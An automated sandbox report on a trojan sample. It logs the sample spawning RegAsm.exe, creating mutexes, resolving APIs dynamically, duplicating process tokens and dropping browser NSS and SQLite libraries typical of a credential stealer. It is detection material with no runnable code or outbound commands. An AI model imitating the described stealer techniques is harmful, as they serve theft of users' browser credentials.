Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Binary or memory string: OriginalFilenameBirding.exe4 vs SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
Tries to load missing DLLs
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Uses 32bit PE files
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.evad.winEXE@6/12@0/1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040E38D CreateToolhelp32Snapshot,SetEnvironmentVariableA,GetLastError,OutputDebugStringA,Process32First,OpenProcess,OpenProcessToken,DuplicateTokenEx,CloseHandle,CreateProcessWithTokenW,GetModuleFileNameW,CreateProcessWithTokenW,CloseHandle,Process32Next, 3_2_0040E38D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\nss3.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXs7yc2cpf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXdhtqvkw3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX39bzbsag
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXdjgl1lda
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXid6eg7kl
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX4z00y3dg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXdxglk35i
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXq1n7w3bt
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX9of20kmn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXphqqzlgp
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXawf1ae1n
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXpzc2har6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXs0ri916b
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXuwyp0mzf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXa8cu8u0k
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXfk5pbuec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\stasvasbas
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX659bq5ml
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXjac2h9rp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXukdk5rol
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXy9bs4nx7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX1foxa753
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX34s52bf3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXwtb7gfab
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTX7li8kyt9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXj7l6ka3u
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXqtzx8hp7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXeuk0bqyk
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\MTXrulvz4cj
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4826cb0c-86a7-49ef-b0d1-dd0eca4ae5e7 Jump to behavior
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: softokn3.dll.3.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %s
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: softokn3.dll.3.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.3.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.3.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.3.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.3.dr Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: sqlite3.dll.3.dr, nss3.dll.3.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.3.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: sqlite3.dll.3.dr Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: sqlite3.dll.3.dr Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.3.dr Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 760 -s 992
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static file information: File size 5374505 > 1048576
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, WER1262.tmp.dmp.7.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.3.dr
Source: Binary string: softokn3.pdbp source: softokn3.dll.3.dr
Source: Binary string: $$.pdb)s source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Birding.pdbbp>- source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\Birding.pdbD source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.000000000143C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Birding.pdbirding.pdbpdbing.pdbpdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: Birding.pdbh source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe
Source: Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.PDB source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbL0vw# source: WER1262.tmp.dmp.7.dr
Source: Binary string: @xo.pdbsw source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\Desktop\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS source: WER1262.tmp.dmp.7.dr
Source: Binary string: mozglue.pdb source: mozglue.dll.3.dr
Source: Binary string: Birding.pdbS source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001484000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr
Source: Binary string: \??\C:\Users\user\Desktop\Birding.pdb1 source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: HPlo0C:\Windows\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.3.dr
Source: Binary string: mscorlib.pdb source: WER1262.tmp.dmp.7.dr
Source: Binary string: mozglue.pdb@+ source: mozglue.dll.3.dr
Source: Binary string: symbols\exe\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WER1262.tmp.dmp.7.dr
Source: Binary string: nss3.pdb source: nss3.dll.3.dr
Source: Binary string: C:\Windows\Birding.pdbpdbing.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\Birding.pdb source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: softokn3.dll.3.dr
Source: Binary string: \??\C:\Windows\Birding.pdbJp&- source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285674615.0000000001452000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ?xoC:\Users\user\Desktop\Birding.pdbsw source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe, 00000000.00000002.1285616817.00000000012FA000.00000004.00000010.00020000.00000000.sdmp
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401000 CreateWaitableTimerA,OutputDebugStringA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00401000
PE file contains an invalid checksum
Source: sqlite3.dll.3.dr Static PE information: real checksum: 0x119dc8 should be: 0x106c31
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: real checksum: 0x0 should be: 0x5217db
PE file contains sections with non-standard names
Source: freebl3.dll.3.dr Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr Static PE information: section name: .00cfg
Source: sqlite3.dll.3.dr Static PE information: section name: /4
Source: sqlite3.dll.3.dr Static PE information: section name: /19
Source: sqlite3.dll.3.dr Static PE information: section name: /31
Source: sqlite3.dll.3.dr Static PE information: section name: /45
Source: sqlite3.dll.3.dr Static PE information: section name: /57
Source: sqlite3.dll.3.dr Static PE information: section name: /70
Source: sqlite3.dll.3.dr Static PE information: section name: /81
Source: sqlite3.dll.3.dr Static PE information: section name: /92
Source: nss3.dll.3.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr Static PE information: section name: .didat
Source: mozglue.dll.3.dr Static PE information: section name: .00cfg
Source: SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Static PE information: section name: .text entropy: 7.031869268308508
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\softokn3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\sqlite3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\LocalLow\mozglue.dll Jump to dropped file
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401000 CreateWaitableTimerA,OutputDebugStringA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_00401000
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.18137.22438.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
